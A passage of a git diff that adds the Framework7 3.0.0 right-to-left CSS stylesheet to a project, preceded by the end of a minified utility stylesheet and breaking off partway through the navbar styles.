5!important;-ms-flex-negative:5!important;flex-shrink:5!important}.flex-shrink-6{-webkit-flex-shrink:6!important;-ms-flex-negative:6!important;flex-shrink:6!important}.flex-shrink-7{-webkit-flex-shrink:7!important;-ms-flex-negative:7!important;flex-shrink:7!important}.flex-shrink-8{-webkit-flex-shrink:8!important;-ms-flex-negative:8!important;flex-shrink:8!important}.flex-shrink-9{-webkit-flex-shrink:9!important;-ms-flex-negative:9!important;flex-shrink:9!important}.flex-shrink-10{-webkit-flex-shrink:10!important;-ms-flex-negative:10!important;flex-shrink:10!important}.justify-content-flex-start{-webkit-box-pack:start!important;-webkit-justify-content:flex-start!important;-ms-flex-pack:start!important;justify-content:flex-start!important}.justify-content-center{-webkit-box-pack:center!important;-webkit-justify-content:center!important;-ms-flex-pack:center!important;justify-content:center!important}.justify-content-flex-end{-webkit-box-pack:end!important;-webkit-justify-content:flex-end!important;-ms-flex-pack:end!important;justify-content:flex-end!important}.justify-content-space-between{-webkit-box-pack:justify!important;-webkit-justify-content:space-between!important;-ms-flex-pack:justify!important;justify-content:space-between!important}.justify-content-space-around{-webkit-justify-content:space-around!important;-ms-flex-pack:distribute!important;justify-content:space-around!important}.justify-content-space-evenly{-webkit-box-pack:space-evenly!important;-webkit-justify-content:space-evenly!important;-ms-flex-pack:space-evenly!important;justify-content:space-evenly!important}.justify-content-stretch{-webkit-box-pack:stretch!important;-webkit-justify-content:stretch!important;-ms-flex-pack:stretch!important;justify-content:stretch!important}.justify-content-start{-webkit-box-pack:start!important;-webkit-justify-content:start!important;-ms-flex-pack:start!important;justify-content:start!important}.justify-content-end{-webkit-box-pack:end!important;-webkit-justify-content:end!important;-ms-flex-pack:end!important;justify-content:end!important}.justify-content-left{-webkit-box-pack:left!important;-webkit-justify-content:left!important;-ms-flex-pack:left!important;justify-content:left!important}.justify-content-right{-webkit-box-pack:right!important;-webkit-justify-content:right!important;-ms-flex-pack:right!important;justify-content:right!important}.align-content-flex-start{-webkit-align-content:flex-start!important;-ms-flex-line-pack:start!important;align-content:flex-start!important}.align-content-flex-end{-webkit-align-content:flex-end!important;-ms-flex-line-pack:end!important;align-content:flex-end!important}.align-content-center{-webkit-align-content:center!important;-ms-flex-line-pack:center!important;align-content:center!important}.align-content-space-between{-webkit-align-content:space-between!important;-ms-flex-line-pack:justify!important;align-content:space-between!important}.align-content-space-around{-webkit-align-content:space-around!important;-ms-flex-line-pack:distribute!important;align-content:space-around!important}.align-content-stretch{-webkit-align-content:stretch!important;-ms-flex-line-pack:stretch!important;align-content:stretch!important}.align-items-flex-start{-webkit-box-align:start!important;-webkit-align-items:flex-start!important;-ms-flex-align:start!important;align-items:flex-start!important}.align-items-flex-end{-webkit-box-align:end!important;-webkit-align-items:flex-end!important;-ms-flex-align:end!important;align-items:flex-end!important}.align-items-center{-webkit-box-align:center!important;-webkit-align-items:center!important;-ms-flex-align:center!important;align-items:center!important}.align-items-stretch{-webkit-box-align:stretch!important;-webkit-align-items:stretch!important;-ms-flex-align:stretch!important;align-items:stretch!important}.align-self-flex-start{-webkit-align-self:flex-start!important;-ms-flex-item-align:start!important;align-self:flex-start!important}.align-self-flex-end{-webkit-align-self:flex-end!important;-ms-flex-item-align:end!important;align-self:flex-end!important}.align-self-center{-webkit-align-self:center!important;-ms-flex-item-align:center!important;align-self:center!important}.align-self-stretch{-webkit-align-self:stretch!important;-ms-flex-item-align:stretch!important;align-self:stretch!important}.text-align-left{text-align:left!important}.text-align-center{text-align:center!important}.text-align-right{text-align:right!important}.text-align-justify{text-align:justify!important}.float-left{float:left!important}.float-right{float:right!important}.float-none{float:none!important}.vertical-align-bottom{vertical-align:bottom!important}.vertical-align-middle{vertical-align:middle!important}.vertical-align-top{vertical-align:top!important}.no-padding{padding:0!important}.no-padding-left{padding-left:0!important}.no-padding-right{padding-right:0!important}.no-padding-top{padding-top:0!important}.no-padding-bottom{padding-bottom:0!important}.no-margin{margin:0!important}.no-margin-left{margin-left:0!important}.no-margin-right{margin-right:0!important}.no-margin-top{margin-top:0!important}.no-margin-bottom{margin-bottom:0!important}.width-auto{width:auto!important}.width-100{width:100%!important}.ios .padding{padding:15px!important}.ios .padding-top{padding-top:15px!important}.ios .padding-bottom{padding-bottom:15px!important}.ios .padding-left{padding-left:15px!important}.ios .padding-left-ios-edge{padding-left:constant(safe-area-inset-left);padding-left:env(safe-area-inset-left)}.ios .padding-right-ios-edge{padding-right:constant(safe-area-inset-right);padding-right:env(safe-area-inset-right)}.ios .padding-top-ios-edge{padding-top:constant(safe-area-inset-top);padding-top:env(safe-area-inset-top)}.ios .padding-bottom-ios-edge{padding-bottom:constant(safe-area-inset-bottom);padding-bottom:env(safe-area-inset-bottom)}.ios .padding-right{padding-right:15px!important}.ios .padding-vertical{padding-top:15px!important;padding-bottom:15px!important}.ios .padding-horizontal{padding-left:15px!important;padding-right:15px!important}.ios .margin{margin:15px!important}.ios .margin-top{margin-top:15px!important}.ios .margin-bottom{margin-bottom:15px!important}.ios .margin-left{margin-left:15px!important}.ios .margin-right{margin-right:15px!important}.ios .margin-vertical{margin-top:15px!important;margin-bottom:15px!important}.ios .margin-horizontal{margin-left:15px!important;margin-right:15px!important}.ios .text-color-red{color:#ff3b30!important}.ios .bg-color-red{background-color:#ff3b30!important}.ios .border-color-red{border-color:#ff3b30!important}.ios .text-color-green{color:#4cd964!important}.ios .bg-color-green{background-color:#4cd964!important}.ios .border-color-green{border-color:#4cd964!important}.ios .text-color-blue{color:#007aff!important}.ios .bg-color-blue{background-color:#007aff!important}.ios .border-color-blue{border-color:#007aff!important}.ios .text-color-pink{color:#ff2d55!important}.ios .bg-color-pink{background-color:#ff2d55!important}.ios .border-color-pink{border-color:#ff2d55!important}.ios .text-color-yellow{color:#fc0!important}.ios .bg-color-yellow{background-color:#fc0!important}.ios .border-color-yellow{border-color:#fc0!important}.ios .text-color-orange{color:#ff9500!important}.ios .bg-color-orange{background-color:#ff9500!important}.ios .border-color-orange{border-color:#ff9500!important}.ios .text-color-gray{color:#8e8e93!important}.ios .bg-color-gray{background-color:#8e8e93!important}.ios .border-color-gray{border-color:#8e8e93!important}.ios .text-color-white{color:#fff!important}.ios .bg-color-white{background-color:#fff!important}.ios .border-color-white{border-color:#fff!important}.ios .text-color-black{color:#000!important}.ios .bg-color-black{background-color:#000!important}.ios .border-color-black{border-color:#000!important}.md .padding{padding:16px!important}.md .padding-top{padding-top:16px!important}.md .padding-bottom{padding-bottom:16px!important}.md .padding-left{padding-left:16px!important}.md .padding-right{padding-right:16px!important}.md .padding-vertical{padding-top:16px!important;padding-bottom:16px!important}.md .padding-horizontal{padding-left:16px!important;padding-right:16px!important}.md .margin{margin:16px!important}.md .margin-top{margin-top:16px!important}.md .margin-bottom{margin-bottom:16px!important}.md .margin-left{margin-left:16px!important}.md .margin-right{margin-right:16px!important}.md .margin-vertical{margin-top:16px!important;margin-bottom:16px!important}.md .margin-horizontal{margin-left:16px!important;margin-right:16px!important}.md .text-color-red{color:#f44336!important}.md .bg-color-red{background-color:#f44336!important}.md .border-color-red{border-color:#f44336!important}.md .text-color-green{color:#4caf50!important}.md .bg-color-green{background-color:#4caf50!important}.md .border-color-green{border-color:#4caf50!important}.md .text-color-blue{color:#2196f3!important}.md .bg-color-blue{background-color:#2196f3!important}.md .border-color-blue{border-color:#2196f3!important}.md .text-color-pink{color:#e91e63!important}.md .bg-color-pink{background-color:#e91e63!important}.md .border-color-pink{border-color:#e91e63!important}.md .text-color-yellow{color:#ffeb3b!important}.md .bg-color-yellow{background-color:#ffeb3b!important}.md .border-color-yellow{border-color:#ffeb3b!important}.md .text-color-orange{color:#ff9800!important}.md .bg-color-orange{background-color:#ff9800!important}.md .border-color-orange{border-color:#ff9800!important}.md .text-color-gray{color:#9e9e9e!important}.md .bg-color-gray{background-color:#9e9e9e!important}.md .border-color-gray{border-color:#9e9e9e!important}.md .text-color-white{color:#fff!important}.md .bg-color-white{background-color:#fff!important}.md .border-color-white{border-color:#fff!important}.md .text-color-black{color:#000!important}.md .bg-color-black{background-color:#000!important}.md .border-color-black{border-color:#000!important} \ No newline at end of file diff --git a/framework7/css/framework7.rtl.css b/framework7/css/framework7.rtl.css new file mode 100644 index 0000000..dd5171c --- /dev/null +++ b/framework7/css/framework7.rtl.css @@ -0,0 +1,29601 @@ +/** + * Framework7 3.0.0 + * Full featured mobile HTML framework for building iOS & Android apps + * http://framework7.io/ + * + * Copyright 2014-2018 Vladimir Kharlampidi + * + * Released under the MIT License + * + * Released on: July 5, 2018 + */ +html { + direction: rtl; +} +html, +body, +.framework7-root { + position: relative; + height: 100%; + width: 100%; + overflow-x: hidden; +} +body { + margin: 0; + padding: 0; + font-size: 14px; + width: 100%; + background: #fff; + overflow: hidden; + -webkit-text-size-adjust: 100%; + -webkit-font-smoothing: antialiased; +} +.framework7-root { + overflow: hidden; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.framework7-initializing *, +.framework7-initializing *:before, +.framework7-initializing *:after { + -webkit-transition-duration: 0ms !important; + transition-duration: 0ms !important; +} +/* +a, button, input, textarea, .link, .button, label, .sortable-handler { + touch-action: manipulation; + -ms-touch-action: manipulation; +} +*/ +@media (width: 1024px) and (height: 691px) and (orientation: landscape) { + html, + body, + .framework7-root { + height: 671px; + } +} +@media (width: 1024px) and (height: 692px) and (orientation: landscape) { + html, + body, + .framework7-root { + height: 672px; + } +} +* { + -webkit-tap-highlight-color: rgba(0, 0, 0, 0); + -webkit-touch-callout: none; +} +a, +input, +textarea, +select { + outline: 0; +} +a { + cursor: pointer; + text-decoration: none; +} +p { + margin: 1em 0; +} +.disabled { + opacity: 0.55 !important; + pointer-events: none !important; +} +.ios body { + font-family: -apple-system, SF UI Text, Helvetica Neue, Helvetica, Arial, sans-serif; + color: #000; + line-height: 1.4; +} +.ios .md-only, +.ios .if-md { + display: none !important; +} +.ios a { + color: #007aff; +} +@media (width: 1024px) and (height: 691px) and (orientation: landscape) { + .ios, + .ios body, + .ios .framework7-root { + height: 671px; + } +} +@media (width: 1024px) and (height: 692px) and (orientation: landscape) { + .ios, + .ios body, + .ios .framework7-root { + height: 672px; + } +} +.ios .theme-dark { + color: #fff; +} +.ios .color-theme-red a { + color: #ff3b30; +} +.ios .color-theme-green a { + color: #4cd964; +} +.ios .color-theme-blue a { + color: #007aff; +} +.ios .color-theme-pink a { + color: #ff2d55; +} +.ios .color-theme-yellow a { + color: #ffcc00; +} +.ios .color-theme-orange a { + color: #ff9500; +} +.ios .color-theme-gray a { + color: #8e8e93; +} +.ios .color-theme-white a { + color: #ffffff; +} +.ios .color-theme-black a { + color: #000000; +} +.ios a.color-red { + color: #ff3b30; +} +.ios a.color-green { + color: #4cd964; +} +.ios a.color-blue { + color: #007aff; +} +.ios a.color-pink { + color: #ff2d55; +} +.ios a.color-yellow { + color: #ffcc00; +} +.ios a.color-orange { + color: #ff9500; +} +.ios a.color-gray { + color: #8e8e93; +} +.ios a.color-white { + color: #ffffff; +} +.ios a.color-black { + color: #000000; +} +.md body { + font-family: Roboto, Noto, Helvetica, Arial, sans-serif; + color: #212121; + line-height: 1.5; +} +.md .ios-only, +.md .if-ios { + display: none !important; +} +.md a { + color: #2196f3; +} +.md .theme-dark { + color: rgba(255, 255, 255, 0.87); +} +.md .color-theme-red a { + color: #f44336; +} +.md .color-theme-green a { + color: #4caf50; +} +.md .color-theme-blue a { + color: #2196f3; +} +.md .color-theme-pink a { + color: #e91e63; +} +.md .color-theme-yellow a { + color: #ffeb3b; +} +.md .color-theme-orange a { + color: #ff9800; +} +.md .color-theme-gray a { + color: #9e9e9e; +} +.md .color-theme-white a { + color: #ffffff; +} +.md .color-theme-black a { + color: #000000; +} +.md a.color-red { + color: #f44336; +} +.md a.color-green { + color: #4caf50; +} +.md a.color-blue { + color: #2196f3; +} +.md a.color-pink { + color: #e91e63; +} +.md a.color-yellow { + color: #ffeb3b; +} +.md a.color-orange { + color: #ff9800; +} +.md a.color-gray { + color: #9e9e9e; +} +.md a.color-white { + color: #ffffff; +} +.md a.color-black { + color: #000000; +} +/* === Statusbar === */ +.statusbar { + position: absolute; + left: 0; + top: 0; + width: 100%; + z-index: 10000; + -webkit-box-sizing: border-box; + box-sizing: border-box; + display: none; +} +html.device-ios .statusbar, +html.ios:not(.device-ios):not(.device-android) .statusbar { + height: 20px; +} +html.device-android .statusbar, +html.md:not(.device-ios):not(.device-android) .statusbar { + height: 24px; +} +html.device-ios.device-iphone-x .statusbar { + height: constant(safe-area-inset-top); + height: env(safe-area-inset-top); +} +html.with-statusbar .statusbar { + display: block; +} +html.with-statusbar.device-ios .framework7-root, +html.with-statusbar.ios:not(.device-ios):not(.device-android) .framework7-root { + padding-top: 20px; +} +html.with-statusbar.device-android .framework7-root, +html.with-statusbar.md:not(.device-ios):not(.device-android) .framework7-root { + padding-top: 24px; +} +html.with-statusbar.device-iphone-x .framework7-root { + padding-top: constant(safe-area-inset-top); + padding-top: env(safe-area-inset-top); +} +.ios .statusbar { + background: #f7f7f8; +} +.ios .theme-dark .statusbar { + background-color: #1b1b1b; +} +.md .statusbar { + background: #0a6ebd; +} +.md .color-theme-red .statusbar { + background: #d2190b; +} +.md .color-theme-green .statusbar { + background: #357a38; +} +.md .color-theme-blue .statusbar { + background: #0a6ebd; +} +.md .color-theme-pink .statusbar { + background: #aa1145; +} +.md .color-theme-yellow .statusbar { + background: #eed500; +} +.md .color-theme-orange .statusbar { + background: #b36a00; +} +.md .color-theme-gray .statusbar { + background: #787878; +} +.md .color-theme-white .statusbar { + background: #d9d9d9; +} +.md .color-theme-black .statusbar { + background: #000000; +} +/* === Views === */ +.views, +.view { + position: relative; + height: 100%; + z-index: 5000; + overflow: hidden; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +/* === Pages === */ +.pages { + position: relative; + width: 100%; + height: 100%; + overflow: hidden; +} +.page { + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.page.stacked { + display: none; +} +.page-previous { + pointer-events: none; +} +.page-content { + overflow: auto; + -webkit-overflow-scrolling: touch; + -webkit-box-sizing: border-box; + box-sizing: border-box; + height: 100%; + position: relative; + z-index: 1; +} +.ios .page-shadow-effect { + position: absolute; + top: 0; + width: 16px; + bottom: 0; + z-index: -1; + content: ''; + opacity: 0; + left: 100%; + background: -webkit-gradient(linear, right top, left top, from(rgba(0, 0, 0, 0)), color-stop(10%, rgba(0, 0, 0, 0)), color-stop(50%, rgba(0, 0, 0, 0.01)), to(rgba(0, 0, 0, 0.2))); + background: -webkit-linear-gradient(right, rgba(0, 0, 0, 0) 0%, rgba(0, 0, 0, 0) 10%, rgba(0, 0, 0, 0.01) 50%, rgba(0, 0, 0, 0.2) 100%); + background: linear-gradient(to left, rgba(0, 0, 0, 0) 0%, rgba(0, 0, 0, 0) 10%, rgba(0, 0, 0, 0.01) 50%, rgba(0, 0, 0, 0.2) 100%); +} +.ios .page-opacity-effect { + position: absolute; + left: 0; + top: 0; + background: rgba(0, 0, 0, 0.1); + width: 100%; + bottom: 0; + content: ''; + opacity: 0; + z-index: 10000; +} +.ios .router-dynamic-navbar-inside .page-shadow-effect, +.ios .router-dynamic-navbar-inside .page-opacity-effect { + top: 44px; +} +.ios .page { + background: #efeff4; +} +.ios .page-previous { + -webkit-transform: translate3d(20%, 0, 0); + transform: translate3d(20%, 0, 0); +} +.ios .page-next { + -webkit-transform: translate3d(-100%, 0, 0); + transform: translate3d(-100%, 0, 0); +} +.ios .page-previous .page-opacity-effect { + opacity: 1; +} +.ios .page-previous:after { + opacity: 1; +} +.ios .page-current .page-shadow-effect { + opacity: 1; +} +.ios .page-transitioning, +.ios .page-transitioning .page-shadow-effect, +.ios .page-transitioning .page-opacity-effect { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.ios .router-transition-forward .page-next, +.ios .router-transition-backward .page-next, +.ios .router-transition-forward .page-current, +.ios .router-transition-backward .page-current, +.ios .router-transition-forward .page-previous:not(.stacked), +.ios .router-transition-backward .page-previous:not(.stacked) { + pointer-events: none; +} +.ios .router-transition-css-forward .page-next { + -webkit-animation: ios-page-next-to-current 400ms forwards; + animation: ios-page-next-to-current 400ms forwards; +} +.ios .router-transition-css-forward .page-next:before { + position: absolute; + top: 0; + width: 16px; + bottom: 0; + z-index: -1; + content: ''; + opacity: 0; + left: 100%; + background: -webkit-gradient(linear, right top, left top, from(rgba(0, 0, 0, 0)), color-stop(10%, rgba(0, 0, 0, 0)), color-stop(50%, rgba(0, 0, 0, 0.01)), to(rgba(0, 0, 0, 0.2))); + background: -webkit-linear-gradient(right, rgba(0, 0, 0, 0) 0%, rgba(0, 0, 0, 0) 10%, rgba(0, 0, 0, 0.01) 50%, rgba(0, 0, 0, 0.2) 100%); + background: linear-gradient(to left, rgba(0, 0, 0, 0) 0%, rgba(0, 0, 0, 0) 10%, rgba(0, 0, 0, 0.01) 50%, rgba(0, 0, 0, 0.2) 100%); + -webkit-animation: ios-page-next-to-current-shadow 400ms forwards; + animation: ios-page-next-to-current-shadow 400ms forwards; +} +.ios .router-transition-css-forward .page-current { + -webkit-animation: ios-page-current-to-previous 400ms forwards; + animation: ios-page-current-to-previous 400ms forwards; +} +.ios .router-transition-css-forward .page-current:after { + position: absolute; + left: 0; + top: 0; + background: rgba(0, 0, 0, 0.1); + width: 100%; + bottom: 0; + content: ''; + opacity: 0; + z-index: 10000; + -webkit-animation: ios-page-current-to-previous-opacity 400ms forwards; + animation: ios-page-current-to-previous-opacity 400ms forwards; +} +.ios .router-transition-css-forward.router-dynamic-navbar-inside .page-next:before, +.ios .router-transition-css-forward.router-dynamic-navbar-inside .page-current:after { + top: 44px; +} +.ios .router-transition-css-backward .page-previous, +.ios .router-transition-css-backward .page-current { + pointer-events: none; +} +.ios .router-transition-css-backward .page-previous { + -webkit-animation: ios-page-previous-to-current 400ms forwards; + animation: ios-page-previous-to-current 400ms forwards; +} +.ios .router-transition-css-backward .page-previous:after { + position: absolute; + left: 0; + top: 0; + background: rgba(0, 0, 0, 0.1); + width: 100%; + bottom: 0; + content: ''; + opacity: 0; + z-index: 10000; + -webkit-animation: ios-page-previous-to-current-opacity 400ms forwards; + animation: ios-page-previous-to-current-opacity 400ms forwards; +} +.ios .router-transition-css-backward .page-current { + -webkit-animation: ios-page-current-to-next 400ms forwards; + animation: ios-page-current-to-next 400ms forwards; +} +.ios .router-transition-css-backward .page-current:before { + position: absolute; + top: 0; + width: 16px; + bottom: 0; + z-index: -1; + content: ''; + opacity: 0; + left: 100%; + background: -webkit-gradient(linear, right top, left top, from(rgba(0, 0, 0, 0)), color-stop(10%, rgba(0, 0, 0, 0)), color-stop(50%, rgba(0, 0, 0, 0.01)), to(rgba(0, 0, 0, 0.2))); + background: -webkit-linear-gradient(right, rgba(0, 0, 0, 0) 0%, rgba(0, 0, 0, 0) 10%, rgba(0, 0, 0, 0.01) 50%, rgba(0, 0, 0, 0.2) 100%); + background: linear-gradient(to left, rgba(0, 0, 0, 0) 0%, rgba(0, 0, 0, 0) 10%, rgba(0, 0, 0, 0.01) 50%, rgba(0, 0, 0, 0.2) 100%); + -webkit-animation: ios-page-current-to-next-shadow 400ms forwards; + animation: ios-page-current-to-next-shadow 400ms forwards; +} +.ios .router-transition-css-backward.router-dynamic-navbar-inside .page-current:before, +.ios .router-transition-css-backward.router-dynamic-navbar-inside .page-previous:after { + top: 44px; +} +.ios .theme-dark .page, +.page.ios .theme-dark { + background: #171717; +} +@-webkit-keyframes ios-page-next-to-current { + from { + -webkit-transform: translate3d(-100%, 0, 0); + transform: translate3d(-100%, 0, 0); + } + to { + -webkit-transform: translate3d(0%, 0, 0); + transform: translate3d(0%, 0, 0); + } +} +@keyframes ios-page-next-to-current { + from { + -webkit-transform: translate3d(-100%, 0, 0); + transform: translate3d(-100%, 0, 0); + } + to { + -webkit-transform: translate3d(0%, 0, 0); + transform: translate3d(0%, 0, 0); + } +} +@-webkit-keyframes ios-page-previous-to-current { + from { + -webkit-transform: translate3d(20%, 0, 0); + transform: translate3d(20%, 0, 0); + } + to { + -webkit-transform: translate3d(0%, 0, 0); + transform: translate3d(0%, 0, 0); + } +} +@keyframes ios-page-previous-to-current { + from { + -webkit-transform: translate3d(20%, 0, 0); + transform: translate3d(20%, 0, 0); + } + to { + -webkit-transform: translate3d(0%, 0, 0); + transform: translate3d(0%, 0, 0); + } +} +@-webkit-keyframes ios-page-current-to-previous { + from { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + } + to { + -webkit-transform: translate3d(20%, 0, 0); + transform: translate3d(20%, 0, 0); + } +} +@keyframes ios-page-current-to-previous { + from { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + } + to { + -webkit-transform: translate3d(20%, 0, 0); + transform: translate3d(20%, 0, 0); + } +} +@-webkit-keyframes ios-page-current-to-next { + from { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + } + to { + -webkit-transform: translate3d(-100%, 0, 0); + transform: translate3d(-100%, 0, 0); + } +} +@keyframes ios-page-current-to-next { + from { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + } + to { + -webkit-transform: translate3d(-100%, 0, 0); + transform: translate3d(-100%, 0, 0); + } +} +@-webkit-keyframes ios-page-next-to-current-shadow { + from { + opacity: 0; + } + to { + opacity: 1; + } +} +@keyframes ios-page-next-to-current-shadow { + from { + opacity: 0; + } + to { + opacity: 1; + } +} +@-webkit-keyframes ios-page-previous-to-current-opacity { + from { + opacity: 1; + } + to { + opacity: 0; + } +} +@keyframes ios-page-previous-to-current-opacity { + from { + opacity: 1; + } + to { + opacity: 0; + } +} +@-webkit-keyframes ios-page-current-to-previous-opacity { + from { + opacity: 0; + } + to { + opacity: 1; + } +} +@keyframes ios-page-current-to-previous-opacity { + from { + opacity: 0; + } + to { + opacity: 1; + } +} +@-webkit-keyframes ios-page-current-to-next-shadow { + from { + opacity: 1; + } + to { + opacity: 0; + } +} +@keyframes ios-page-current-to-next-shadow { + from { + opacity: 1; + } + to { + opacity: 0; + } +} +.md .page-shadow-effect { + position: absolute; + top: 0; + width: 16px; + bottom: 0; + z-index: -1; + content: ''; + opacity: 0; + left: 100%; + background: -webkit-gradient(linear, right top, left top, from(rgba(0, 0, 0, 0)), color-stop(10%, rgba(0, 0, 0, 0)), color-stop(50%, rgba(0, 0, 0, 0.01)), to(rgba(0, 0, 0, 0.2))); + background: -webkit-linear-gradient(right, rgba(0, 0, 0, 0) 0%, rgba(0, 0, 0, 0) 10%, rgba(0, 0, 0, 0.01) 50%, rgba(0, 0, 0, 0.2) 100%); + background: linear-gradient(to left, rgba(0, 0, 0, 0) 0%, rgba(0, 0, 0, 0) 10%, rgba(0, 0, 0, 0.01) 50%, rgba(0, 0, 0, 0.2) 100%); +} +.md .page-opacity-effect { + position: absolute; + left: 0; + top: 0; + background: rgba(0, 0, 0, 0.1); + width: 100%; + bottom: 0; + content: ''; + opacity: 0; + z-index: 10000; +} +.md .page { + background: #fff; +} +.md .page-next { + -webkit-transform: translate3d(0, 56px, 0); + transform: translate3d(0, 56px, 0); + opacity: 0; + pointer-events: none; +} +.md .page-next.page-next-on-right { + -webkit-transform: translate3d(100%, 0, 0); + transform: translate3d(100%, 0, 0); +} +.md .page-transitioning, +.md .page-transitioning .page-shadow-effect, +.md .page-transitioning .page-opacity-effect { + -webkit-transition-duration: 250ms; + transition-duration: 250ms; +} +.md .page-transitioning-swipeback, +.md .page-transitioning-swipeback .page-shadow-effect, +.md .page-transitioning-swipeback .page-opacity-effect { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.md .router-transition-forward .page, +.md .router-transition-backward .page { + pointer-events: none; +} +.md .router-transition-css-forward .page-next { + -webkit-animation: md-page-next-to-current 250ms forwards; + animation: md-page-next-to-current 250ms forwards; +} +.md .router-transition-css-forward .page-current { + -webkit-animation: none; + animation: none; +} +.md .router-transition-css-backward .page-current { + -webkit-animation: md-page-current-to-next 250ms forwards; + animation: md-page-current-to-next 250ms forwards; +} +.md .router-transition-css-backward .page-previous { + -webkit-animation: none; + animation: none; +} +.md .theme-dark .page, +.page.md .theme-dark { + background: #171717; +} +@-webkit-keyframes md-page-next-to-current { + from { + -webkit-transform: translate3d(0, 56px, 0); + transform: translate3d(0, 56px, 0); + opacity: 0; + } + to { + -webkit-transform: translate3d(0, 0px, 0); + transform: translate3d(0, 0px, 0); + opacity: 1; + } +} +@keyframes md-page-next-to-current { + from { + -webkit-transform: translate3d(0, 56px, 0); + transform: translate3d(0, 56px, 0); + opacity: 0; + } + to { + -webkit-transform: translate3d(0, 0px, 0); + transform: translate3d(0, 0px, 0); + opacity: 1; + } +} +@-webkit-keyframes md-page-current-to-next { + from { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + opacity: 1; + } + to { + -webkit-transform: translate3d(0, 56px, 0); + transform: translate3d(0, 56px, 0); + opacity: 0; + } +} +@keyframes md-page-current-to-next { + from { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + opacity: 1; + } + to { + -webkit-transform: translate3d(0, 56px, 0); + transform: translate3d(0, 56px, 0); + opacity: 0; + } +} +/* === Link === */ +.link, +.tab-link { + display: -webkit-inline-box; + display: -webkit-inline-flex; + display: -ms-inline-flexbox; + display: inline-flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-align-content: center; + -ms-flex-line-pack: center; + align-content: center; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + position: relative; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + z-index: 1; +} +.ios .link { + -webkit-transition: opacity 300ms; + transition: opacity 300ms; +} +.ios .link i + span, +.ios .link i + i, +.ios .link span + i, +.ios .link span + span { + margin-right: 7px; +} +.ios .link.active-state { + opacity: 0.3; + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.md .link i + span, +.md .link i + i, +.md .link span + i, +.md .link span + span { + margin-right: 8px; +} +/* === Navbar === */ +.navbar { + position: relative; + left: 0; + top: 0; + width: 100%; + z-index: 500; + -webkit-backface-visibility: hidden; + backface-visibility: hidden; + -webkit-box-sizing: border-box; + box-sizing: border-box; + margin: 0; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.navbar b { + font-weight: 500; +} +.navbar a.link { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; +} +.navbar .title, +.navbar .left, +.navbar .right { + position: relative; + z-index: 1; +} +.navbar .title { + text-align: center; + position: relative; + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; + -webkit-flex-shrink: 10; + -ms-flex-negative: 10; + flex-shrink: 10; + font-weight: 500; + display: inline-block; +} +.navbar .subtitle { + display: block; +} +.navbar .left, +.navbar .right { + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: start; + -webkit-justify-content: flex-start; + -ms-flex-pack: start; + justify-content: flex-start; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.navbar .right:first-child { + position: absolute; + height: 100%; +} +.navbar-inner { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.navbar-inner.stacked { + display: none; +} +.views > .navbar, +.view > .navbar, +.page > .navbar { + position: absolute; +} +.ios .navbar { + height: 44px; + font-size: 17px; + background: #f7f7f8; +} +.ios .navbar.no-hairline:after { + display: none !important; +} +.ios .navbar:after { + -webkit-backface-visibility: hidden; + backface-visibility: hidden; +} +.ios .navbar a.link { + -webkit-box-pack: start; + -webkit-justify-content: flex-start; + -ms-flex-pack: start; + justify-content: flex-start; + line-height: 44px; + height: 44px; +} +.ios .navbar a.icon-only { + width: 44px; + margin: 0; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; +} +.ios .navbar .title { + font-size: 17px; + margin: 0; + line-height: 1.2; +} +.ios .navbar .subtitle { + color: #6d6d72; + line-height: 1; + font-size: 10px; + text-align: center; + font-weight: normal; +} +.ios .navbar .left a + a, +.ios .navbar .right a + a { + margin-right: 15px; +} +.ios .navbar b, +.ios .navbar .title { + font-weight: 600; +} +.ios .navbar .left { + margin-left: 10px; +} +.ios .navbar .right { + margin-right: 10px; +} +.ios .navbar .right:first-child { + left: 8px; +} +.ios .navbar:after { + content: ''; + position: absolute; + background-color: #c4c4c4; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .navbar:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .navbar:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .navbar-inner { + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + padding: 0 8px; +} +.ios .navbar ~ *:not(.no-navbar) .page-content, +.ios .navbar ~ .page-content { + padding-top: 44px; +} +.ios 